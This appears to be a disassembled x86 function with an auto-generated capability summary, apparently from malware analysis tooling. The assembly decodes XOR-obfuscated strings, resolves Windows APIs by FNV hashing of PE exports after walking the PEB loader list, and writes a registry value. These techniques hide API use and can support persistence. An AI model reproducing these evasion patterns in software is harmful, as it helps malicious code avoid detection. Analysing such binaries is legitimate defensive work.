Function at 0x40bb90
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports
Set registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [0x4a4314]
xor eax, ebp
mov dword [ebp - 4], eax
movups xmm0, xmmword [0x49e7d4]
mov ax, word [0x49e7ec]
mov word [ebp - 0x10], ax
push esi
mov esi, dword [0x4a5684]
push edi
mov edi, 4
movups xmmword [ebp - 0x28], xmm0
movq xmm0, qword [0x49e7e4]
movq qword [ebp - 0x18], xmm0
lea ecx, [edi + 0x1b]
test ah, ah
je 0x40bd63
xor edx, edx
mov dword [ebp - 0x30], edx
cmp esi, 2
jl 0x40bd30
movaps xmm0, xmmword [0x49f340]
movaps xmm4, xmmword [0x49f2f0]
movaps xmm3, xmmword [0x49f330]
movaps xmm6, xmmword [0x49f310]
movaps xmmword [ebp - 0x50], xmm0
movd xmm7, ecx
mov ecx, dword [ebp - 0x50]
movd xmm5, edi
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x28]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x28], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x24]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x24], xmm1
add edx, 8
cmp edx, 0x18
jl 0x40bc30
mov dword [ebp - 0x30], edx
cmp edx, 0x1a
jge 0x40bd5e
nop
mov eax, 0x288df0cb
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x30]
movsx eax, al
mov cl, dl
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [ebp + edx - 0x28], cl
inc edx
mov dword [ebp - 0x30], edx
cmp edx, 0x1a
jl 0x40bd30
mov ecx, 0x1f
cmp byte [0x49e4ff], 0
mov eax, dword [0x49e4fc]
mov dword [ebp - 0x30], eax
je 0x40be3f
xor edx, edx
mov dword [ebp - 0x2c], edx
cmp esi, 2
jl 0x40be10
movaps xmm3, xmmword [0x49f2f0]
movaps xmm2, xmm3
movaps xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x49f330]
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x49f330]
shufps xmm2, xmm0, 0xdd
movd xmm0, edi
psrad xmm2, xmm0
movd xmm0, ecx
movaps xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x49f310]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
paddb xmm1, xmmword [0x49f340]
movd xmm0, eax
pxor xmm1, xmm0
movd dword [ebp - 0x30], xmm1
jmp 0x40be3f
mov eax, 0x446f8657
mul edx
mov eax, dword [ebp - 0x2c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x2c]
shr eax, 6
mov cl, dl
movsx eax, al
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [ebp + edx - 0x30], cl
inc edx
mov dword [ebp - 0x2c], edx
cmp edx, edi
jl 0x40be10
push 0
lea eax, [ebp - 0x3c]
push eax
push 0
push 0x20006
push 0
push 0
push 0
lea eax, [ebp - 0x28]
push eax
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [str.RJPHSh]
mov dword [ebp - 0xc], eax
mov ax, word [0x49e75c]
mov word [ebp - 8], ax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x38], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x34], ecx
cmp ecx, esi
je 0x40bee7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x40bee7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x2c], ecx
dec edi
mov esi, 0xe1977d2d
mov cl, byte [edx]
inc edx
test cl, cl
je 0x40bedd
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x40bec0
cmp esi, 0x98df6641
je 0x40beeb
mov ecx, dword [ebp - 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x40bea5
mov eax, dword [eax]
jmp 0x40be80
mov esi, dword [ebp - 0x34]
mov edx, dword [ebp - 0x38]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
add esi, edx
xor edx, edx
mov dword [ebp - 0x2c], edx
nop dword [eax + eax]
mov eax, 0x446f8657
mul edx
mov eax, dword [ebp - 0x2c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x2c]
shr eax, 6
mov cl, dl
movsx eax, al
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [ebp + edx - 0xc], cl
inc edx
mov dword [ebp - 0x2c], edx
cmp edx, 6
jl 0x40bf10
lea eax, [ebp - 0xc]
push eax
push 0x4a5e2c
call esi
mov ecx, 0x4a5e2c
add esp, 8
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40bf56
sub ecx, edx
lea eax, [ecx + 1]
push eax
push 0x4a5e2c
push 1
push 0
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x40c020
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x2c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x34], ecx
cmp ecx, esi
je 0x40bff7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x40bff7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x38], ecx
dec edi
mov esi, 0x67c539d4
mov cl, byte [edx]
inc edx
test cl, cl
je 0x40bfed
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x40bfd0
cmp esi, 0xd18d61f9
je 0x40bffb
mov ecx, dword [ebp - 0x38]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x40bfb5
mov eax, dword [eax]
jmp 0x40bf90
mov esi, dword [ebp - 0x34]
mov edx, dword [ebp - 0x2c]
push dword [ebp - 0x3c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
nop dword [eax + eax]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x2c], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x34], ecx
cmp ecx, edx
je 0x40c097
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x40c097
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, edx
sub ecx, 4
dec edi
mov dword [ebp - 0x38], ecx
mov esi, 0x3715efc0
mov ecx, dword [ecx]
add ecx, edx
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x40c08d
nop dword [eax]
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x40c070
cmp esi, 0x2f4e2acd
je 0x40c09b
mov ecx, dword [ebp - 0x38]
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x40c055
mov eax, dword [eax]
jmp 0x40c030
mov esi, dword [ebp - 0x34]
mov edx, dword [ebp - 0x2c]
push dword [ebp - 0x3c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0046a386
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret